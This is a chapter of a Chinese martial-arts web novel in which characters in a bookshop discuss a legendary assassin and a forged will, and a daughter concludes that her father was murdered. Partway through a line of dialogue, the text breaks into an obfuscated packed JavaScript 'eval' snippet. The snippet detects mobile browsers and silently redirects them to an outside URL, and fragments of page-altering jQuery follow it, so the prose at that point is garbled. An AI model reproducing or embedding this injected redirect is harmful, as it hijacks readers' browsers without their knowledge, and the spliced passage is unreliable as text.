亥时，待官差带着搜刮得来的“禁书”返府秉公，李墨看着散落一地的书卷，神色恍惚。


    徐怀尚上前一步，拍了拍他的肩，说书坊查封虽事发突然，但他们兄弟三个难得重聚，不如去酒楼打包些下酒菜，晚些时候边吃边叙，至于整理藏书的事，就交给他这个新任掌书，正好熟悉环境。


    李墨点头，带着郭盛直奔附近的酒楼，于是，偌大的书坊里头便只剩下曲臻和徐怀尚。


    “徐大哥，身体……可恢复好了？”


    蹲在地上拾书时，曲臻偷偷打量了徐怀尚许久，才鼓起勇气问出这句话。


    “得亏曲小姐送医及时，”徐怀尚答，“毒性未至心脉，加上大夫及时施针封穴，又以属性相克的中药化解了毒性，两日来已经康复了大半。”


    徐怀尚说到这儿才抬起了头，他面色温良如常，语气中却夹着一丝生分。


    “不过，徐某听说，这方子是曲小姐留下的？”


    彼时，曲臻听着那一声声“曲小姐”，将头埋得更低了。


    “那是我十二岁误服梦寰时，七襄城神医开出来的方子。”


    “果然，徐某……欠曲小姐一条命。”


    那一刻，徐怀尚嘴中吐出的音节仿佛在空中化作银针，根根刺痛曲臻的心，而往日一度让她沉醉的书墨香气，此时竟也变得如毒气一般，令人窒息。


    “徐大哥，对不起。”


    曲臻低着头，含泪说出了这句话。


    风清月明，烛影飘忽。


    此刻，从鹿岭到梦州，同行那三日以来的欢笑、嬉闹，只如烟云般袅袅攀升，消淡于无声的叹息之中。


    曾几何时，“季恒书坊”四个字在曲臻和徐怀尚心间筑成了一座神庙，这方寸穹宇间的上千册书卷，于他们而言，皆是世间至宝，两人曾无数次幻想在此处流连、徜徉、博览群书，但如今，这些璀璨的念想竟如诅咒一般，彻底撕碎了看似理想的皮囊，让他们内心深处的恐惧与欲望，在彼此面前，展露无余。


    然而，事已至此，覆水难收。


    徐怀尚一早就明白了这个道理，此刻，他只希望曲臻也能够释怀。


    “都过去了。”


    某一刻，徐怀尚洪钟般的音色合着淡淡的叹息轻吐而出。


    “臻儿姑娘若是认定徐某罪不至死，那这一来一往，咱们也算两清了。”


    徐怀尚说着，眼角带笑看向对面的曲臻，整张脸久违地舒展开来。


    “只是这雇杀手的钱，徐某怕是无力与臻儿姑娘分担了。”


    曲臻抬眸，怔怔盯着徐怀尚看了一会，见他确是恢复到了往日那副顽劣轻佻的模样，一口气没提住，“噗”地笑出了声。


    ——“什么杀手啊？你们聊书呢？”


    那时，李墨的声音从门口传来，曲臻看见那两位曾被她提上刺杀令的前辈正提着大包小裹走近，有些心虚地低下了头。


    “啊，”徐怀尚转头解释道，“我和曲小姐来时在鹿岭碰见，曾与一名影笙会杀手同行。”


    “你们在路上碰见了？”


    李墨将买来的下酒菜摆上柜台，面露讶异，郭盛的关注点却落到了别处。


    “杀手好啊，我现在身边就缺个杀手！”


    见徐怀尚意欲起身，郭盛搭手把他拉了起来，接着问，“二哥，名字有吗？我去把他找来！将今天那个带头砸店的好好收拾一顿！”


    “叫影枫。”徐怀尚答，“不过人家影笙会杀手只接刺杀令，你要找的那种叫打手。”


    “杀手也行！给我杀了那个偷书贼！”


    ——“是影一。”


    那时，一直默不作声的曲臻抽空插上了这句，她寻思着，自己日后与影一怕是无缘再见，也没必要再替他隐藏身份了。


    只是，曲臻没曾想，“影一”二字一经出口，面前的三个男人却齐刷刷地看向了她。


    “什么？”徐怀尚最先发问，“影枫那小子，就是影笙会排名第一的金袍杀手？”


    “嗯，那次我撞见了。”


    曲臻点头的同时，面露不解。


    “他往手上缠布条的时候，上面的数字确实是‘壹’没错，不过......”


    ——“就是四年前那个只身闯入沈府，于三重围剿、数十守卫中直取目标首级！过程中只误杀一人的影一？！”


    郭盛一脸激动地打断了曲臻。


    “应该......不是，”曲臻眨眨眼，“我听说影笙会杀手排名更迭频繁，若是四年前......”


    “就是他，”一旁的李墨却笃定道，“影笙会杀手位序虽常年更替，但唯有这影一的位子，五年来都不曾变过。”


    “你还真别说！”


    现在，回想起那三日的行程，徐怀尚方觉回韵悠长。


    “臻儿，你记得吧？那小子杀熊的时候身上都不曾溅上一滴血，再者......”


    徐怀尚话出半句，突然意识到他自己也险些死在影一手上，便将后面称赞的话又尽皆咽了回去。


    与此同时，曲臻心上更是一阵后怕。


    若影一真有这等本事，那她两日前抵达梦州时，不知天高地厚地叫哥哥寸步不离地守在郭李二人身边，岂不是也险些断送了他的性命？


    ——“所以说，影笙会排名第一的杀手眼下就在梦州！怪不得这几日摆子口那群泼皮无赖都销声匿迹了，连收租的房东口气都亲和了不少！”


    “估计也是轩辕宴快到了，影笙会顶尖的杀手都要集合参与武试选拔，争取护驾名额。”


    ——“不过我听说那个影一，从来只接刺杀令，不接护国令！”


    “怎么可能？所谓‘赏金杀手’，杀人放火都只是为了赏金二字，谁能放着丰厚的护国赏金不要，硬着头皮去做那些命悬一线的事？”


    ——“要不说他是影一呢！我听说啊......”


    彼时，徐怀尚和曲臻对视一眼，转头看向一旁仍旧激情澎湃地议论着影一光辉事迹的郭李二人，忍不住在心中发出一阵暗叹：


    “此番，若不是我徐丛用这条老命牵制住了那位活阎王，你们俩，怕是连自己究竟是怎么死的都不知道！”


    片刻后，酒菜已置，李墨特意喊来了曲恒，五个人围坐在书坊门前的木桌边上，举杯邀月。


    那时，徐怀尚望着手中的杯盏，突然一阵心有余悸，面露苦涩。


    “徐大哥，”曲臻在一旁小声道，“你身体还没康复，别喝了。”


    “对，二弟，”李墨也跟着关切起来，“你前日写信于我，说是路上受了寒，要歇息两天，还不让我们兄弟二人前去探望，现在可好些了？”


    “嗯，已无大碍，幸得曲小姐照料。”


    听到徐怀尚的话，一旁的曲恒微眯双眼，有些狐疑地望向了曲臻。


    两日前，曲臻抵达梦州时风尘仆仆，嘴上不住念叨着“搞错了”，像是失了魂一般，他见妹妹慌乱，也没敢多问，只是按照她的吩咐雇了几个打手连日守在季恒书坊，倒是叫那三个借机夺权的外人占尽了便宜，这件事，曲臻时至今日都没给自己一个解释。


    眼下，曲恒听闻她与徐丛来程时便有交集，寻思曲臻这个没见过世面的丫头，保不齐是被那油嘴滑舌之人给收买了。


    于是，曲恒思忖片刻，决定将这话头转移到书坊上来。


    “眼下，季恒书坊恐是难逃查封，”曲恒举起酒杯，故作漫不经心地问，“徐掌书对此可有打算？”


    “我想过了。”徐怀尚当即回答，“季恒盛名已久，就算此处被封，咱们更块牌匾、换个地界，一样能把书坊开下去。”


    “也只剩这个办法了。”李墨点头道。


    “到时候，就在这附近立块牌，写明新店的地址，方便书友们投石问路。”徐怀尚顿了顿，继续道，“至于此处，也可以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995143|160232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开作分店，就由我这个生面孔负责打理，也好避嫌。”


    听到这话，李墨猛地将头抬了起来。


    “徐丛，你要做分店的掌书？那这总店......”


    “总店，自然该交给曲小姐管理。”


    徐怀尚转过头，看向曲臻的目光意味深长。


    “这......”


    见李墨一时语塞，徐怀尚也不想再兜圈子，他看向郭李二人，直言道：


    “你们也不必再藏着掖着了，伯康兄遗嘱里指定的继任掌书，原本不是我吧？”


    “徐丛，你......怎么能这么说？”


    李墨结巴起来，边儿上的郭盛则低着头，一脸的心虚。


    彼时，见两人这般反应，徐怀尚已然坐实了心中的猜测。


    “二哥，我们......”


    “别我们你们的了。”徐怀尚打断郭盛，“曲小姐深明大义，若你们二人愿意把实情说出来，我再把这偷来的掌书之职还给曲家，想来曲家兄妹也不会过多怪罪，说吧，这原本的继任掌书，是曲小姐没错吧？”


    “哪儿来的继任掌书......”


    郭盛嘟囔了半句，边儿上的李墨瞟了他一眼，思忖片刻终于抬起头，看向了曲臻。


    “曲小姐，曲少爷，我们兄弟二人，此番确实犯下了滔天之过！”


    李墨说着起身拱手，对着曲臻和曲恒深深鞠了一躬，一旁的郭盛见状也“腾”地站起，跟着表哥拱起手来，俯身行下大礼。


    “不过，如若伯康兄确实在遗嘱中写明了继任，我兄弟二人就算是吃了熊心豹子胆，也断不敢贸然更改！”


    说到这儿，李墨缓缓抬起了头。


    “事实上，这遗嘱不是我们纂改的，而是......杜撰的。”


    “杜撰的？”曲臻蹙眉，藏在桌下的手指一阵发凉，“所以我父亲没有留下遗嘱？”


    郭盛点头道：“伯康兄走得实在突然，我和大哥念及兄弟情深......况且，这些年，伯康兄也不止一次地赞美过二哥的文采和智识，我们便想着借这个机会......”


    “什么叫‘机会’？”


    李墨一巴掌拍上郭盛的脑门，转过头来沉声道：


    “曲少爷曲小姐恕罪！我们也是一时头脑发热，这件事，我们本也是想等到面见二位时，再做商议的。”


    “再做商议？”曲恒厉声道：


    “几日来我一直待在书坊，倒是没见你二人有过商议的意思，况且，家父生前与你兄弟二人不和，那是书坊伙计人尽皆知的事，你们敢说家父的死和你们没有半点儿关系？！”


    “曲少爷，这般罪责我们可担不得啊！”


    李墨猛然抬头，眼中泛起了泪光。


    “我兄弟二人初来梦州时身无分文，幸得伯康兄收留，此后同心经营季恒十余载，早已将令尊视作长兄至亲，怎敢有戕害之想？！”


    李墨说到这儿，悲愤难以自控，竟挥袖转身，毅然离席。


    “曲少爷若将此等大逆不道的罪名强加于吾二人头上，那这书坊，我们兄弟俩不要也罢！”


    ——“李大哥请留步。”


    气氛紧绷之时，曲臻的声音却异常冷静。


    “家兄也是情难自控，对两位妄加揣测，曲臻代他致歉。”


    一盘的曲恒坐立不安，只得跟着支吾道：


    “对，我......若是错怪了两位前辈，对......不住......”


    片刻后，见李墨面色凝重地转回了身，曲臻上前一步，言辞恳切道：


    “只是，两位前辈有所不知，我幼时曾误服梦寰，濒死之时被家父所救，因此我才可以肯定，家父之死，绝非意外。”


    “曲小姐的意思是......”


    彼时，曲臻颔首轻点，肯定了李墨的猜测。


    “我父亲，是被害死的。”